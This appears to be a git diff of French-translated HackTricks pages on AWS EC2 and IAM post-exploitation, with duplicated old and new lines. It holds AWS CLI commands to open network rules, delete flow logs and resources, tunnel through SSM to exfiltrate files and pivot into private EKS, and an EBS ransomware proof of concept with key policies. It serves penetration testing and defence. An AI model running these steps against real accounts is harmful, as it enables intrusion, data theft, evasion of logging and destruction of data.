Un attacker disposant de la permission ec2:ReplaceNetworkAclEntry (ou d'une permission similaire) peut modifier les Network ACLs (NACLs) d’un subnet pour les rendre très permissifs — par exemple en autorisant 0.0.0.0/0 sur des ports critiques — exposant ainsi toute la plage du subnet à Internet ou à des segments réseau non autorisés. Contrairement aux Security Groups, qui sont appliqués per-instance, les NACLs sont appliqués au niveau du subnet, donc modifier un NACL restrictif peut avoir un rayon d’impact beaucoup plus large en permettant l’accès à beaucoup plus d’hôtes.
```bash
aws ec2 replace-network-acl-entry \
--network-acl-id <ACL_ID> \
@@ -131,16 +131,16 @@ aws ec2 replace-network-acl-entry \
```
### `ec2:Delete*`
Un attaquant disposant des permissions ec2:Delete* et iam:Remove* peut supprimer des ressources et configurations d'infrastructure critiques — par exemple key pairs, launch templates/versions, AMIs/snapshots, volumes or attachments, security groups or rules, ENIs/network endpoints, route tables, gateways, or managed endpoints. Cela peut provoquer une interruption de service immédiate, une perte de données et la perte de preuves forensiques.
Un attaquant disposant des permissions ec2:Delete* et iam:Remove* peut supprimer des ressources et configurations d'infrastructure critiques — par exemple key pairs, launch templates/versions, AMIs/snapshots, volumes ou attachments, security groups ou rules, ENIs/network endpoints, route tables, gateways, ou managed endpoints. Cela peut provoquer une interruption de service immédiate, une perte de données et la perte de preuves forensiques.
Un exemple : suppression d'un security group :
One example is deleting a security group:
aws ec2 delete-security-group \
--group-id <SECURITY_GROUP_ID>
### VPC Flow Logs Cross-Account Exfiltration
Dirigez VPC Flow Logs vers un S3 bucket contrôlé par l'attaquant pour collecter en continu des métadonnées réseau (source/destination, ports) en dehors du compte victime pour une reconnaissance à long terme.
Pointez VPC Flow Logs vers un S3 bucket contrôlé par l'attaquant pour collecter en continu les métadonnées réseau (source/destination, ports) en dehors du compte victime pour une reconnaissance à long terme.
{{#ref}}
aws-vpc-flow-logs-cross-account-exfiltration.md
@@ -150,87 +150,87 @@ aws-vpc-flow-logs-cross-account-exfiltration.md
#### DNS Exfiltration
Même si vous verrouillez une EC2 pour empêcher tout trafic sortant, elle peut toujours **exfil via DNS**.
Even if you lock down an EC2 so no traffic can get out, it can still **exfil via DNS**.
- **VPC Flow Logs ne l'enregistrent pas**.
- Vous n'avez pas accès aux logs DNS d'AWS.
- Désactivez ceci en réglant "enableDnsSupport" sur false avec :
- **VPC Flow Logs will not record this**.
- You have no access to AWS DNS logs.
- Disable this by setting "enableDnsSupport" to false with:
`aws ec2 modify-vpc-attribute --no-enable-dns-support --vpc-id <vpc-id>`
#### Exfiltration via API calls
Un attaquant pourrait appeler des endpoints API d'un compte qu'il contrôle. Cloudtrail enregistrera ces appels et l'attaquant pourra voir les données exfiltrées dans les logs Cloudtrail.
An attacker could call API endpoints of an account controlled by him. Cloudtrail will log this calls and the attacker will be able to see the exfiltrate data in the Cloudtrail logs.
### Open Security Group
Vous pourriez obtenir un accès supplémentaire aux services réseau en ouvrant des ports comme ceci :
You could get further access to network services by opening ports like this:
```bash
aws ec2 authorize-security-group-ingress --group-id <sg-id> --protocol tcp --port 80 --cidr 0.0.0.0/0
# Or you could just open it to more specific ips or maybe th einternal network if you have already compromised an EC2 in the VPC
```
### Privesc to ECS
Il est possible d'exécuter une instance EC2 et de l'enregistrer pour qu'elle soit utilisée afin d'exécuter des instances ECS, puis de voler les données des instances ECS.
Il est possible d'exécuter une instance EC2 et de l'enregistrer pour qu'elle soit utilisée pour exécuter des instances ECS, puis de voler les données des instances ECS.
Pour [**plus d'informations, consultez ceci**](../../aws-privilege-escalation/aws-ec2-privesc/README.md#privesc-to-ecs).
Pour [**more information check this**](../../aws-privilege-escalation/aws-ec2-privesc/README.md#privesc-to-ecs).
### Supprimer VPC flow logs
### Remove VPC flow logs
```bash
aws ec2 delete-flow-logs --flow-log-ids <flow_log_ids> --region <region>
```
### SSM Port Forwarding
Autorisations requises :
Permissions requises :
- `ssm:StartSession`
En plus de l'exécution de commandes, SSM permet le traffic tunneling, qui peut être abusé pour pivoting depuis des instances EC2 qui n'ont pas d'accès réseau en raison des Security Groups ou des NACLs.
Un des scénarios où cela est utile est le pivoting depuis un [Bastion Host](https://www.geeksforgeeks.org/what-is-aws-bastion-host/) vers un EKS cluster privé.
En plus de l'exécution de commandes, SSM permet le tunneling de trafic, qui peut être abusé pour pivoter depuis des instances EC2 qui n'ont pas d'accès réseau à cause des Security Groups ou des NACLs.
Un des scénarios où cela est utile est de pivoter depuis un [Bastion Host](https://www.geeksforgeeks.org/what-is-aws-bastion-host/) vers un EKS cluster privé.
> Pour démarrer une session, vous devez avoir le SessionManagerPlugin installé : https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html
> Pour démarrer une session, vous devez avoir le SessionManagerPlugin installé: https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html
1. Installez le SessionManagerPlugin sur votre machine
2. Connectez-vous au Bastion EC2 en utilisant la commande suivante:
```shell
aws ssm start-session --target "$INSTANCE_ID"
```
3. Récupérez les temporary credentials AWS du Bastion EC2 avec le script [Abusing SSRF in AWS EC2 environment](https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html#abusing-ssrf-in-aws-ec2-environment)
4. Transférez les credentials sur votre machine dans le fichier `$HOME/.aws/credentials` en tant que profil `[bastion-ec2]`
3. Obtenez les credentials temporaires AWS du Bastion EC2 avec le script [Abusing SSRF in AWS EC2 environment](https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html#abusing-ssrf-in-aws-ec2-environment)
4. Transférez les credentials sur votre propre machine dans le fichier `$HOME/.aws/credentials` en tant que profil `[bastion-ec2]`
5. Connectez-vous à EKS en tant que Bastion EC2:
```shell
aws eks update-kubeconfig --profile bastion-ec2 --region <EKS-CLUSTER-REGION> --name <EKS-CLUSTER-NAME>
```
6. Mettre à jour le champ `server` dans le fichier `$HOME/.kube/config` pour qu'il pointe vers `https://localhost`
7. Créer un tunnel SSM comme suit :
6. Mettez à jour le champ `server` dans le fichier `$HOME/.kube/config` pour qu'il pointe vers `https://localhost`
7. Créez un tunnel SSM comme suit :
```shell
sudo aws ssm start-session --target $INSTANCE_ID --document-name AWS-StartPortForwardingSessionToRemoteHost --parameters '{"host":["<TARGET-IP-OR-DOMAIN>"],"portNumber":["443"], "localPortNumber":["443"]}' --region <BASTION-INSTANCE-REGION>
```
8. Le trafic de l'outil `kubectl` est désormais acheminé via le tunnel SSM passant par le Bastion EC2 et vous pouvez accéder au cluster EKS privé depuis votre propre machine en exécutant :
8. Le trafic de l'outil `kubectl` est maintenant acheminé via le tunnel SSM à travers le Bastion EC2 et vous pouvez accéder au cluster EKS privé depuis votre propre machine en exécutant :
```shell
kubectl get pods --insecure-skip-tls-verify
```
Notez que les connexions SSL échoueront à moins que vous ne configuriez le flag `--insecure-skip-tls-verify ` (ou son équivalent dans les outils d'audit K8s). Étant donné que le trafic est tunnelisé via le tunnel sécurisé AWS SSM, vous êtes à l'abri de toute forme d'attaques MitM.
Notez que les connexions SSL échoueront à moins que vous ne définissiez le flag `--insecure-skip-tls-verify ` (ou son équivalent dans les outils d'audit K8s). Étant donné que le trafic est tunnelisé via le tunnel sécurisé AWS SSM, vous êtes protégé contre tout type d'attaque MitM.
Enfin, cette technique n'est pas spécifique aux attaques de clusters privés EKS. Vous pouvez définir des domaines et des ports arbitraires pour pivoter vers n'importe quel autre service AWS ou une application personnalisée.
Enfin, cette technique n'est pas spécifique à l'attaque de clusters EKS privés. Vous pouvez définir des domaines et des ports arbitraires pour pivoter vers tout autre service AWS ou une application personnalisée.
---
#### Transfert rapide Local ↔️ Distant de port (AWS-StartPortForwardingSession)
#### Transfert de port rapide Local ↔️ Remote (AWS-StartPortForwardingSession)
Si vous devez seulement rediriger **un port TCP depuis l'instance EC2 vers votre machine locale**, vous pouvez utiliser le document SSM `AWS-StartPortForwardingSession` (aucun paramètre d'hôte distant requis) :
Si vous n'avez besoin que de transférer **un seul port TCP depuis l'instance EC2 vers votre machine locale** vous pouvez utiliser le document SSM `AWS-StartPortForwardingSession` (aucun paramètre d'hôte distant requis) :
```bash
aws ssm start-session --target i-0123456789abcdef0 \
--document-name AWS-StartPortForwardingSession \
--parameters "portNumber"="8000","localPortNumber"="8000" \
--region <REGION>
```
La commande établit un tunnel bidirectionnel entre votre poste de travail (`localPortNumber`) et le port sélectionné (`portNumber`) sur l'instance **without opening any inbound Security-Group rules**.
La commande établit un tunnel bidirectionnel entre votre poste de travail (`localPortNumber`) et le port sélectionné (`portNumber`) sur l'instance **sans ouvrir de règles Security-Group entrantes**.
Common use cases:
Cas d'utilisation courants :
* **File exfiltration**
1. Sur l'instance, démarrez un serveur HTTP rapide pointant vers le répertoire que vous voulez exfiltrer :
1. Sur l'instance, démarrez un serveur HTTP rapide qui pointe vers le répertoire destiné à l'exfiltration :
```bash
python3 -m http.server 8000
@@ -242,7 +242,7 @@ python3 -m http.server 8000
curl http://localhost:8000/loot.txt -o loot.txt
```
* **Accès aux applications web internes (e.g. Nessus)**
* **Accès aux applications web internes (par ex. Nessus)**
```bash
# Forward remote Nessus port 8834 to local 8835
aws ssm start-session --target i-0123456789abcdef0 \
@@ -250,7 +250,7 @@ aws ssm start-session --target i-0123456789abcdef0 \
--parameters "portNumber"="8834","localPortNumber"="8835"
# Browse to http://localhost:8835
```
Astuce : compressez et chiffrez les preuves avant de les exfiltrating afin que CloudTrail n'enregistre pas le clear-text content :
Astuce : compressez et chiffrez les preuves avant exfiltrating, afin que CloudTrail n'enregistre pas le contenu clear-text :
```bash
# On the instance
7z a evidence.7z /path/to/files/* -p'Str0ngPass!'
@@ -259,9 +259,9 @@ Astuce : compressez et chiffrez les preuves avant de les exfiltrating afin que C
```bash
aws ec2 modify-image-attribute --image-id <image_ID> --launch-permission "Add=[{UserId=<recipient_account_ID>}]" --region <AWS_region>
```
### Rechercher des informations sensibles dans les AMIs publiques et privées
### Rechercher des informations sensibles dans des AMIs publiques et privées
- [https://github.com/saw-your-packet/CloudShovel](https://github.com/saw-your-packet/CloudShovel): CloudShovel est un outil conçu pour rechercher des informations sensibles dans des Amazon Machine Images (AMIs) publiques ou privées. Il automatise le processus de lancement d'instances à partir des AMIs ciblées, le montage de leurs volumes, et l'analyse à la recherche de potentiels secrets ou données sensibles.
- [https://github.com/saw-your-packet/CloudShovel](https://github.com/saw-your-packet/CloudShovel): CloudShovel est un outil conçu pour **chercher des informations sensibles dans des Amazon Machine Images (AMIs) publiques ou privées**. Il automatise le processus de lancement d'instances à partir des AMIs ciblées, le montage de leurs volumes, et le scan à la recherche de secrets potentiels ou de données sensibles.
### Partager un EBS Snapshot
```bash
@@ -269,9 +269,9 @@ aws ec2 modify-snapshot-attribute --snapshot-id <snapshot_ID> --create-volume-pe
```
### EBS Ransomware PoC
Une preuve de concept similaire à la démonstration de Ransomware présentée dans les notes de post-exploitation S3. KMS devrait être rebaptisé RMS pour Ransomware Management Service, tant il est facile à utiliser pour chiffrer divers services AWS.
Une preuve de concept similaire à la démonstration de Ransomware présentée dans les notes de post-exploitation S3. KMS devrait être renommé en RMS (Ransomware Management Service) tant il est facile à utiliser pour chiffrer divers services AWS.
D'abord, depuis un compte AWS 'attacker', créez une customer managed key dans KMS. Dans cet exemple nous laisserons AWS gérer les données de clé pour moi, mais dans un scénario réaliste un acteur malveillant conserverait les données de clé en dehors du contrôle d'AWS. Modifiez la key policy pour permettre à n'importe quel Principal de compte AWS d'utiliser la clé. Pour cette key policy, le nom du compte était 'AttackSim' et la règle de policy autorisant tout accès s'appelle 'Outside Encryption'
D'abord depuis un compte AWS 'attacker', créez une customer managed key dans KMS. Pour cet exemple nous laisserons AWS gérer les données de clé pour nous, mais dans un scénario réaliste un acteur malveillant conserverait les données de clé en dehors du contrôle d'AWS. Modifiez la key policy pour permettre à n'importe quel Principal de compte AWS d'utiliser la clé. Pour cette key policy, le nom du compte était 'AttackSim' et la règle de policy autorisant tout l'accès s'appelle 'Outside Encryption'
```
{
"Version": "2012-10-17",
@@ -363,7 +363,7 @@ D'abord, depuis un compte AWS 'attacker', créez une customer managed key dans K
]
}
```
La règle de la key policy doit avoir les permissions suivantes activées pour permettre de l'utiliser afin de chiffrer un volume EBS :
La key policy doit avoir les éléments suivants activés pour permettre son utilisation afin de chiffrer un volume EBS :
- `kms:CreateGrant`
- `kms:Decrypt`
@@ -371,21 +371,21 @@ La règle de la key policy doit avoir les permissions suivantes activées pour p
- `kms:GenerateDataKeyWithoutPlainText`
- `kms:ReEncrypt`
Maintenant que la clé publique est disponible. Nous pouvons utiliser un compte "victim" qui a des instances EC2 démarrées avec des volumes EBS non chiffrés attachés. Les volumes EBS de ce compte "victim" sont notre cible pour le chiffrement ; cette attaque se déroule dans le cadre d'une compromission présumée d'un compte AWS à haut privilège.
Avec la clé publiquement accessible prête à l'emploi. Nous pouvons utiliser un compte 'victim' qui a des instances EC2 lancées avec des volumes EBS non chiffrés attachés. Les volumes EBS de ce compte 'victim' sont notre cible pour le chiffrement ; cette attaque suppose la compromission d'un compte AWS à hauts privilèges.
![Pasted image 20231231172655](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/5b9a96cd-6006-4965-84a4-b090456f90c6) ![Pasted image 20231231172734](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/4294289c-0dbd-4eb6-a484-60b4e4266459)
Similaire à l'exemple de ransomware S3. Cette attaque va créer des copies des volumes EBS attachés en utilisant des snapshots, utiliser la clé publique disponible depuis le compte "attacker" pour chiffrer les nouveaux volumes EBS, puis détacher les volumes EBS originaux des instances EC2 et les supprimer, et enfin supprimer les snapshots utilisés pour créer les nouveaux volumes EBS chiffrés. ![Pasted image 20231231173130](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/34808990-2b3b-4975-a523-8ee45874279e)
Similaire à l'exemple de ransomware sur S3. Cette attaque va créer des copies des volumes EBS attachés en utilisant des snapshots, utiliser la clé publiquement disponible du compte 'attacker' pour chiffrer les nouveaux volumes EBS, puis détacher les volumes EBS originaux des instances EC2 et les supprimer, et enfin supprimer les snapshots utilisés pour créer les nouveaux volumes EBS chiffrés. ![Pasted image 20231231173130](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/34808990-2b3b-4975-a523-8ee45874279e)
Le résultat est qu'il ne reste que des volumes EBS chiffrés disponibles dans le compte.
Il en résulte que seuls des volumes EBS chiffrés restent disponibles dans le compte.
![Pasted image 20231231173338](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/eccdda58-f4b1-44ea-9719-43afef9a8220)
Il est également utile de noter que le script a arrêté les instances EC2 pour détacher et supprimer les volumes EBS originaux. Les volumes originaux non chiffrés ont maintenant disparu.
À noter également : le script a arrêté les instances EC2 pour détacher et supprimer les volumes EBS originaux. Les volumes originaux non chiffrés ont été supprimés.
![Pasted image 20231231173931](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/cc31a5c9-fbb4-4804-ac87-911191bb230e)
Ensuite, revenez à la key policy dans le compte "attacker" et supprimez la règle de policy 'Outside Encryption' de la key policy.
Ensuite, retournez à la key policy du compte 'attacker' et supprimez la règle de policy 'Outside Encryption' de la key policy.
```json
{
"Version": "2012-10-17",
@@ -456,15 +456,15 @@ Ensuite, revenez à la key policy dans le compte "attacker" et supprimez la règ
]
}
```
Wait a moment for the newly set key policy to propagate. Then return to the 'victim' account and attempt to attach one of the newly encrypted EBS volumes. You'll find that you can attach the volume.
Attendez un instant que la nouvelle key policy se propage. Retournez ensuite au compte 'victim' et tentez d'attacher l'un des EBS volumes nouvellement chiffrés. Vous constaterez que vous pouvez attacher le volume.
![Pasted image 20231231174131](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/ba9e5340-7020-4af9-95cc-0e02267ced47) ![Pasted image 20231231174258](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/6c3215ec-4161-44e2-b1c1-e32f43ad0fa4)
But when you attempt to actually start the EC2 instance back up with the encrypted EBS volume it'll just fail and go from the 'pending' state back to the 'stopped' state forever since the attached EBS volume can't be decrypted using the key since the key policy no longer allows it.
Mais quand vous tentez réellement de redémarrer l'instance EC2 avec le volume EBS chiffré, cela échouera et l'instance passera de l'état 'pending' à l'état 'stopped' indéfiniment, car le volume EBS attaché ne peut pas être déchiffré avec la key puisque la key policy ne le permet plus.
![Pasted image 20231231174322](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/73456c22-0828-4da9-a737-e4d90fa3f514) ![Pasted image 20231231174352](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/4d83a90e-6fa9-4003-b904-a4ba7f5944d0)
Voici le script python utilisé. Il prend des identifiants AWS pour un compte 'victim' et une valeur ARN AWS publiquement disponible pour la key à utiliser pour le chiffrement. Le script va créer des copies chiffrées de TOUS les volumes EBS disponibles attachés à TOUTES les instances EC2 du compte AWS ciblé, puis arrêter chaque instance EC2, détacher les volumes EBS originaux, les supprimer, et enfin supprimer tous les snapshots utilisés pendant le processus. Cela laissera uniquement des volumes EBS chiffrés dans le compte 'victim' ciblé. N'UTILISEZ CE SCRIPT QUE DANS UN ENVIRONNEMENT DE TEST, IL EST DESTRUCTEUR ET SUPPRIMERA TOUS LES VOLUMES EBS ORIGINAUX. Vous pouvez les récupérer en utilisant la KMS key utilisée et les restaurer à leur état original via les snapshots, mais je tiens à vous informer qu'il s'agit, au bout du compte, d'un ransomware PoC.
Voici le script python utilisé. Il prend en entrée des identifiants AWS pour un compte 'victim' et une valeur ARN AWS publique pour la key utilisée pour le chiffrement. Le script crée des copies chiffrées de TOUS les volumes EBS disponibles attachés à TOUTES les instances EC2 du compte AWS ciblé, puis arrête toutes les instances EC2, détache les volumes EBS originaux, les supprime, et enfin supprime tous les snapshots utilisés pendant le processus. Cela laissera uniquement des volumes EBS chiffrés dans le compte 'victim' ciblé. N'UTILISEZ CE SCRIPT QUE DANS UN ENVIRONNEMENT DE TEST, IL EST DESTRUCTIF ET SUPPRIMERA TOUS LES VOLUMES EBS ORIGINAUX. Vous pouvez les récupérer en utilisant la KMS key utilisée et les restaurer à leur état initial via des snapshots, mais je veux simplement vous informer qu'il s'agit au final d'un ransomware PoC.
```
import boto3
import argparse

42
src/pentesting-cloud/aws-security/aws-post-exploitation/aws-iam-post-exploitation/README.md
View File

@@ -12,13 +12,13 @@ Pour plus d'informations sur l'accès IAM :
## Problème du Confused Deputy
Si vous **autorisez un compte externe (A)** à accéder à un **role** de votre compte, vous n'aurez probablement **aucune visibilité** sur **qui peut exactement accéder à ce compte externe**. C'est un problème, car si un autre compte externe (B) peut accéder au compte externe (A), il est possible que **B puisse aussi accéder à votre compte**.
Si vous **autorisez un compte externe (A)** à accéder à un **rôle** dans votre compte, vous aurez probablement **0 visibilité** sur **qui peut exactement accéder à ce compte externe**. C'est un problème, car si un autre compte externe (B) peut accéder au compte externe (A), il est possible que **B puisse également accéder à votre compte**.
Par conséquent, lorsque vous autorisez un compte externe à accéder à un rôle dans votre compte il est possible de spécifier un `ExternalId`. Il s'agit d'une chaîne "secrète" que le compte externe (A) doit **fournir** afin de **assumer le rôle dans votre organisation**. Comme **le compte externe B ne connaîtra pas cette chaîne**, même s'il a accès à A il **ne pourra pas accéder à votre rôle**.
Donc, lorsque vous autorisez un compte externe à accéder à un rôle dans votre compte, il est possible de spécifier un `ExternalId`. Il s'agit d'une chaîne "secrète" que le compte externe (A) **doit spécifier** afin de **assumer le rôle dans votre organisation**. Comme le **compte externe B ne connaîtra pas cette chaîne**, même s'il a accès à A, il **ne pourra pas accéder à votre rôle**.
<figure><img src="../../../images/image (95).png" alt=""><figcaption></figcaption></figure>
Cependant, notez que ce `ExternalId` "secret" n'est **pas un secret** : toute personne pouvant **lire la IAM assume role policy pourra le voir**. Mais tant que le compte externe A le connaît, et que le compte externe **B ne le connaît pas**, cela **empêche B d'abuser du compte A pour accéder à votre rôle**.
Cependant, notez que ce `ExternalId` "secret" est **n'est pas un secret**, quiconque peut **lire la IAM assume role policy** pourra le voir. Mais tant que le compte externe A le connaît, et que le compte externe **B ne le connaît pas**, cela **empêche B d'abuser de A pour accéder à votre rôle**.
Exemple:
```json
@@ -39,9 +39,9 @@ Exemple:
}
```
> [!WARNING]
> Pour qu'un attacker puisse exploiter un confused deputy, il devra trouver d'une manière ou d'une autre si les principals du current account peuvent impersonate des roles dans d'autres accounts.
> Pour qu'un attaquant exploite un confused deputy, il devra, d'une manière ou d'une autre, découvrir si les principals du compte actuel peuvent se faire passer pour des roles dans d'autres comptes.
### Relations de confiance inattendues
### Confiances inattendues
#### Wildcard en tant que principal
```json
@@ -51,7 +51,7 @@ Exemple:
"Principal": { "AWS": "*" }
}
```
Cette politique **autorise tous les services AWS** à assumer le rôle.
Cette politique **autorise l'ensemble d'AWS** à assumer le rôle.
#### Service en tant que principal
```json
@@ -62,7 +62,7 @@ Cette politique **autorise tous les services AWS** à assumer le rôle.
"Resource": "arn:aws:lambda:000000000000:function:foo"
}
```
Cette politique **autorise tout compte** à configurer son apigateway pour appeler cette Lambda.
Cette politique **autorise n'importe quel compte** à configurer son apigateway pour appeler cette Lambda.
#### S3 en tant que principal
```json
@@ -73,7 +73,7 @@ Cette politique **autorise tout compte** à configurer son apigateway pour appel
}
}
```
Si un S3 bucket est donné comme principal, parce que les S3 buckets n'ont pas d'Account ID, si vous **deleted your bucket and the attacker created** it dans leur propre compte, alors ils pourraient en abuser.
Si un S3 bucket est donné comme principal, puisque les S3 buckets n'ont pas d'Account ID, si vous **avez supprimé votre bucket et que l'attaquant l'a recréé** dans son propre compte, alors il pourrait en abuser.
#### Non pris en charge
```json
@@ -84,10 +84,10 @@ Si un S3 bucket est donné comme principal, parce que les S3 buckets n'ont pas d
"Resource": "arn:aws:s3:::myBucketName/AWSLogs/MY_ACCOUNT_ID/*"
}
```
Une méthode courante pour éviter les problèmes de Confused Deputy est l'utilisation d'une condition avec `AWS:SourceArn` pour vérifier l'ARN d'origine. Cependant, **certains services pourraient ne pas le prendre en charge** (comme CloudTrail selon certaines sources).
Une méthode courante pour éviter les problèmes de Confused Deputy est d'utiliser une condition avec `AWS:SourceArn` pour vérifier l'ARN d'origine. Cependant, **certains services peuvent ne pas le prendre en charge** (comme CloudTrail d'après certaines sources).
### Suppression des identifiants
Avec l'une des permissions suivantes — `iam:DeleteAccessKey`, `iam:DeleteLoginProfile`, `iam:DeleteSSHPublicKey`, `iam:DeleteServiceSpecificCredential`, `iam:DeleteInstanceProfile`, `iam:DeleteServerCertificate`, `iam:DeleteCloudFrontPublicKey`, `iam:RemoveRoleFromInstanceProfile` — un acteur peut supprimer des clés d'accès, des profils de connexion, des clés SSH, des identifiants spécifiques au service, des profils d'instance, des certificats ou des clés publiques CloudFront, ou dissocier des rôles des profils d'instance. De telles actions peuvent immédiatement bloquer des utilisateurs et applications légitimes et provoquer un déni de service ou une perte d'accès pour les systèmes qui dépendent de ces identifiants, aussi ces permissions IAM doivent être strictement restreintes et surveillées.
Avec l'une des permissions suivantes — `iam:DeleteAccessKey`, `iam:DeleteLoginProfile`, `iam:DeleteSSHPublicKey`, `iam:DeleteServiceSpecificCredential`, `iam:DeleteInstanceProfile`, `iam:DeleteServerCertificate`, `iam:DeleteCloudFrontPublicKey`, `iam:RemoveRoleFromInstanceProfile` — un acteur peut supprimer access keys, login profiles, SSH keys, service-specific credentials, instance profiles, certificates ou CloudFront public keys, ou dissocier des rôles des instance profiles. De telles actions peuvent immédiatement bloquer des utilisateurs et applications légitimes et provoquer un déni de service ou une perte d'accès pour les systèmes qui dépendent de ces credentials ; ces permissions IAM doivent donc être strictement restreintes et surveillées.
```bash
# Remove Access Key of a user
aws iam delete-access-key \
@@ -100,7 +100,7 @@ aws iam delete-ssh-public-key \
--ssh-public-key-id APKAEIBAERJR2EXAMPLE
```
### Suppression d'identités
Avec des permissions comme `iam:DeleteUser`, `iam:DeleteGroup`, `iam:DeleteRole`, ou `iam:RemoveUserFromGroup`, un acteur peut supprimer des utilisateurs, des rôles ou des groupes—or modifier l'appartenance à un groupe—supprimant des identités et les traces associées. Cela peut immédiatement interrompre l'accès pour des personnes et des services qui dépendent de ces identités, provoquant un denial-of-service ou une perte d'accès, donc ces actions IAM doivent être strictement restreintes et surveillées.
Avec des permissions telles que `iam:DeleteUser`, `iam:DeleteGroup`, `iam:DeleteRole` ou `iam:RemoveUserFromGroup`, un acteur peut supprimer des users, roles ou groups — ou modifier la group membership — supprimant des identités et les traces associées. Cela peut immédiatement interrompre l'accès pour les personnes et les services qui dépendent de ces identités, provoquant un denial-of-service ou une perte d'accès ; ces actions IAM doivent donc être strictement restreintes et surveillées.
```bash
# Delete a user
aws iam delete-user \
@@ -114,7 +114,8 @@ aws iam delete-group \
aws iam delete-role \
--role-name <Role>
```
Avec l'une quelconque des permissions suivantes — `iam:DeleteGroupPolicy`, `iam:DeleteRolePolicy`, `iam:DeleteUserPolicy`, `iam:DeletePolicy`, `iam:DeletePolicyVersion`, `iam:DeleteRolePermissionsBoundary`, `iam:DeleteUserPermissionsBoundary`, `iam:DetachGroupPolicy`, `iam:DetachRolePolicy`, `iam:DetachUserPolicy` — un acteur peut supprimer ou détacher des policies gérées/inline, enlever des versions de policy ou des permissions boundaries, et dissocier des policies d'utilisateurs, groupes ou rôles. Cela détruit des autorisations et peut altérer le modèle de permissions, entraînant une perte d'accès immédiate ou un déni de service pour les principals qui dépendaient de ces policies, donc ces actions IAM doivent être strictement restreintes et surveillées.
###
Avec l'une des permissions suivantes — `iam:DeleteGroupPolicy`, `iam:DeleteRolePolicy`, `iam:DeleteUserPolicy`, `iam:DeletePolicy`, `iam:DeletePolicyVersion`, `iam:DeleteRolePermissionsBoundary`, `iam:DeleteUserPermissionsBoundary`, `iam:DetachGroupPolicy`, `iam:DetachRolePolicy`, `iam:DetachUserPolicy` — un acteur peut supprimer ou détacher des politiques gérées/intégrées, supprimer des versions de politique ou des limites de permissions, et dissocier des politiques d'utilisateurs, de groupes ou de rôles. Cela détruit des autorisations et peut altérer le modèle de permissions, provoquant une perte d'accès immédiate ou un déni de service pour les entités qui dépendaient de ces politiques, donc ces actions IAM doivent être strictement restreintes et surveillées.
```bash
# Delete a group policy
aws iam delete-group-policy \
@@ -127,7 +128,7 @@ aws iam delete-role-policy \
--policy-name <PolicyName>
```
### Suppression d'identité fédérée
Avec `iam:DeleteOpenIDConnectProvider`, `iam:DeleteSAMLProvider`, et `iam:RemoveClientIDFromOpenIDConnectProvider`, un acteur peut supprimer des fournisseurs d'identité OIDC/SAML ou retirer des client IDs. Cela rompt l'authentification fédérée, empêche la validation des tokens et refuse immédiatement l'accès aux utilisateurs et services qui dépendent du SSO jusqu'à ce que l'IdP ou les configurations soient restaurés.
Avec `iam:DeleteOpenIDConnectProvider`, `iam:DeleteSAMLProvider` et `iam:RemoveClientIDFromOpenIDConnectProvider`, un acteur peut supprimer des fournisseurs d'identité OIDC/SAML ou retirer des client IDs. Cela interrompt l'authentification fédérée, empêche la validation des tokens et refuse immédiatement l'accès aux utilisateurs et services qui reposent sur SSO jusqu'à ce que l'IdP ou les configurations soient restaurés.
```bash
# Delete OIDCP provider
aws iam delete-open-id-connect-provider \
@@ -138,7 +139,7 @@ aws iam delete-saml-provider \
--saml-provider-arn arn:aws:iam::111122223333:saml-provider/CorporateADFS
```
### Activation illégitime de MFA
Avec `iam:EnableMFADevice`, un acteur peut enregistrer un périphérique MFA sur l'identité d'un utilisateur, empêchant l'utilisateur légitime de se connecter. Une fois qu'un MFA non autorisé est activé, l'utilisateur peut être verrouillé jusqu'à ce que l'appareil soit supprimé ou réinitialisé (remarque : si plusieurs appareils MFA sont enregistrés, la connexion n'exige qu'un seul, donc cette attaque n'aura aucun effet pour empêcher l'accès).
Avec `iam:EnableMFADevice`, un attaquant peut enregistrer un dispositif MFA sur l’identité d’un utilisateur, empêchant l’utilisateur légitime de se connecter. Une fois qu’un MFA non autorisé est activé, l’utilisateur peut être verrouillé jusqu’à ce que le dispositif soit retiré ou réinitialisé (remarque : si plusieurs dispositifs MFA sont enregistrés, la connexion ne requiert qu’un seul, donc cette attaque n’aura aucun effet pour empêcher l’accès).
```bash
aws iam enable-mfa-device \
--user-name <Username> \
@@ -146,8 +147,9 @@ aws iam enable-mfa-device \
--authentication-code1 123456 \
--authentication-code2 789012
```
### Altération des métadonnées des certificats/clefs
Avec `iam:UpdateSSHPublicKey`, `iam:UpdateCloudFrontPublicKey`, `iam:UpdateSigningCertificate`, `iam:UpdateServerCertificate`, un acteur peut modifier le statut ou les métadonnées des clés publiques et des certificats. En marquant les clés/certificats comme inactifs ou en altérant leurs références, il peut interrompre l'authentification SSH, invalider les validations X.509/TLS et perturber immédiatement les services qui dépendent de ces identifiants, provoquant une perte d'accès ou de disponibilité.
### Altération des métadonnées de certificats/clés
Avec `iam:UpdateSSHPublicKey`, `iam:UpdateCloudFrontPublicKey`, `iam:UpdateSigningCertificate`, `iam:UpdateServerCertificate`, un acteur peut modifier le statut ou les métadonnées des clés publiques et des certificats.
En marquant les clés/certificats comme inactifs ou en altérant leurs références, il peut interrompre l'authentification SSH, invalider les validations X.509/TLS, et perturber immédiatement les services qui dépendent de ces identifiants, entraînant une perte d'accès ou de disponibilité.
```bash
aws iam update-ssh-public-key \
--user-name <Username> \
@@ -160,7 +162,7 @@ aws iam update-server-certificate \
```
### `iam:Delete*`
